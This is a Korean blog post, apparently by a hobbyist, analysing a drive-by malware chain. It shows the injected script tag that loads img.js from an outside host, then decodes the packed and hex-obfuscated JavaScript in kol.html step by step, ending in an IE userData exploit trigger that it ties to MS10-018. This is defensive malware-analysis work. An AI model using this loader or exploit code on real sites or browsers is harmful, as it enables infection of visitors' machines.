본문 바로가기

security/악성코드 유포

ARP 스푸핑 파일과 연결시켜주는 스크립트 img.js , kol.html !!


* 이 글은 아주 비전문가인 제가 그냥 한것이므로 많은 오류와 잘못된 정보가 있을 수 있음을 알려드립니다.

img.js 를 찾을려면 일단 감염된 사이트를 찾아야 한다. 오늘자로 유포된 img.js는 유포된 사이트에서 찾는데 스크립트를 사이사이에 끼워놔서 찾기가 너무 어려웠다.
사이트 스크립트 중간중간에 <script src=http://www.xxx63.com/xxfiles/img.js></script></a></li> 이런식으로 들어 있기 때문에 찾는데 꽤 어려움을 겪었다.

이렇게 img.js를 본다면 다음에 기다릴것은 내부 안의 코드이다.


이렇게 보면 역시 아스키 코드로 이루어 져있다.
이런 코드 해독 방법은 아스키 코드를 아시는 분이라면 잘 하실수 있을것입니다. 하지만 저는 아직 잘 모르기 때문에 멀질라라는 프로그램으로 해독하는 방법으로 선택하였습니다.


이런 식으로 간단하게 뜨는 것을 확인 할 수 있습니다. 아이프레임도 확인했으니 이제는 최종 파일을 받는 kol.html 로 넘어 가봅니다~
kol.html 의 값중 최종 파일이 나오는 값들을 먼저 보겠습니다.


이런식으로 주르르 이어 졌습니다. 코드 해석또한 아스키 코드에서 복원시켜서 출력했습니다.

pay1KSload = @XV58'+'58@XV5'+'858'+'@XV10EB 이런식으로 이어졌으니 당황 하였는데 잘 보면 복원된 코드밑에 보면 힌트가 주어져있습니다.
그 힌트는 바로 replace 라는 것입니다. (pay1KSload["replace"](/@XV/g, "%u"));
즉 pay1KSload 네에 들어있는 @XV 를 %u 로 리플레이스를 시키라는 뜻입니다. 그러므로 위에 나온 힌트따라서 리플레이스 한다면 최종파일에 접근 할 수 있습니다.
단 코드 네에 "+" 를 모두 제거도 해주어야만 한다는 것 입니다.

다음으로는 kol.html 안에 있는 eval 함수 입니다.

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('15(" 중략 ")',62,68,'x5C|x78|x36|x33|x37|x32|x63|x34|x35|x65|x27|x31|x39|x22|x38|x62|x69|x66|x30|x61|x29|x28|x5D|x5B|x72|x6E|x4C|x64|x51|x2C|x73|x79|x77|x47|x5F|x3D|x20|x6F|x7D|x7B|x3B|x75|x74|x45|x6B|x56|x58|x52|x5A|x4B|x76|x0A|x0D|x4F|x2D|x54|x67|x50|x48|x7A|x2B|x6C|x68|x7C|x2F|x5E|x21|eval'.split('|'),0,{}))

초기에는 이런식으로 이어져 있습니다. 그 다음에는 다시 alert 출력을 이용해서 한번더 복호화 해보겠습니다. 

---------------------------
Microsoft Internet Explorer
---------------------------
eval("\x76\x61\x72\x20\x58\x56\x72\x65\x61\x65\x72\x33\x32\x36\x3D\x22\x61\x73\x64\x31\x36\x58\x56\x33\x36\x38\x61\x31\x36\x22\x3B\x0D\x0A\x77\x69\x5C\x78\x32\x39\x5C\x78\x33\x62\x5C\x78\x33\x30\x5C\x78\x32\x65\x5C\x78\x36\x65\x5C\x78\
---------------------------
확인  
---------------------------


중간 코드는 생략 하였습니다. 역시 출력되는 코드 또한 다시 아스키 코드입니다. 두번째 출력된걸 다시 복호화 시키면 또다를 아스키 코드가 생깁니다.

 eval("var XVreaer326="asd16XV368a16";
window["\x65\x76\x61\x6c"](function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3["\x74\x6f\x53\x74\x72\x69\x6e\x67"](36)};if(!''["\x72\x65\x70\x6c\x61\x63\x65"](/^/,window["\x53(중략)\x69\x6e\x67"])){while(iQLyacc3--){PgTEsQ6[iQLyacc3["\x74\x6f\x53\x74\x72\x69\x6e\x67"](HG2)]=EL4[iQLyacc3]||iQLyacc3["\x74\x6f\x53(중략)\x6e\x67"](HG2)}EL4=[function(bsKZR_ek5){return PgTEsQ6[bsKZR_ek5]}];bsKZR_ek5=function(){return'\\\x77\x2b'};iQLyacc3=1};while(iQLyacc3--){if(EL4[iQLyacc3]){G_OGr1=G_OGr1["\x72\x65\x70\x6c\x61\x63\x65"](new window["\x52\x65\x67\x45\x78\x70"]('\\\x62'+bsKZR_ek5(iQLyacc3)+'\\\x62','\x67'),EL4[iQLyacc3])}}return G_OGr1}('\x39 \x61\x28\x29\x7b\x38\x28\x29\x3b\x37 (중략) \x74\x75\x73\x7c\x63\x61\x74\x63\x68\x7c\x75\x73\x65\x72\x44\x61\x74\x61'["\x73(중략)\x74"]('\x7c'),0,{}))
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\(중략)\x79\x49\x64"]('\x41(중략)\x6b')["\x6f\x6e(중략)\x63\x6b"]();
var XVvksod5="z168aXV68e";
var XVfsffd5="z16826XVa68e";")



나온 코드를 다시 아스키 코드로 부터 복호화를 합니다. 거의 마지막 단계 까지 왔네요~


뭔가 코드가 이상하군요 ... 아까와는 달리 window["eval"] 이 생겼군요. 멀질라에서 돌려봐도 스크립트가 완벽하지 않아 돌아가지가 않습니다.
완벽하지 않다면 완벽하게 만들어 주어야 합니다. 다시 코드를 살펴보았지만 어떤것을 replace 해야 할지 몰라서 지인분께 물어 보았습니다.

[답은]

windows[" -> 널
"] -> 널
[" -> .

즉 windows[" -> 빈칸 으로 (replace)
    "] -> 빈칸 으로 (replace)
    [" -> . 으로 (replace)

자세한 사항은 : http://jjoon.net/tc/225 참고하세요.

 eval(function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3.toString(36)};if(!''.replace(/^/,String)){while(iQLyacc3--){PgTEsQ6[iQLyacc3.toString(HG2)]=EL4[iQLyacc3]||iQLyacc3.toString(HG2)}EL4=[function(bsKZR_ek5){return PgTEsQ6[bsKZR_ek5]}];bsKZR_ek5=function(){return'\\w+'};iQLyacc3=1};while(iQLyacc3--){if(EL4[iQLyacc3]){G_OGr1=G_OGr1.replace(new RegExp('\\b'+bsKZR_ek5(iQLyacc3)+'\\b','g'),EL4[iQLyacc3])}}return G_OGr1}('9 a(){8();7 0=4.5(\'6\');0.b(\'#c#i\');4.f(0);d{0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1)}h(e){}1.g+=\'\'}',19,19,'a7|window|setAttribute|s|document|createElement|body|var|acNK2e|function|aNop1|addBehavior|default|try||appendChild|status|catch|userData'.split('|'),0,{}))
document.getElementById('ASDok').onclick();

이제 함수 값도 완성 되었으니 다시 alert 출력을 이용해서 최종 출력을 해보겠습니다.

---------------------------
Microsoft Internet Explorer
---------------------------
function aNop1(){acNK2e();var a7=document.createElement('body');a7.addBehavior('#default#userData');document.appendChild(a7);try{a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window)}catch(e){}window.status+=''}
---------------------------
확인  
---------------------------

이런식으로 출력이 되네요. 이것은 취약점 MS10-018 쪽의 취약점으로 보입니다 !!

오늘의 제 글은 여기 까지입니다. 많이는 몰라도 아는데 까지 썼습니다.
추가 적으로 제가 틀렸거나 했던 점은 댓글이나 메신져로 알려주세요~
바로 수정하겠습니다 !!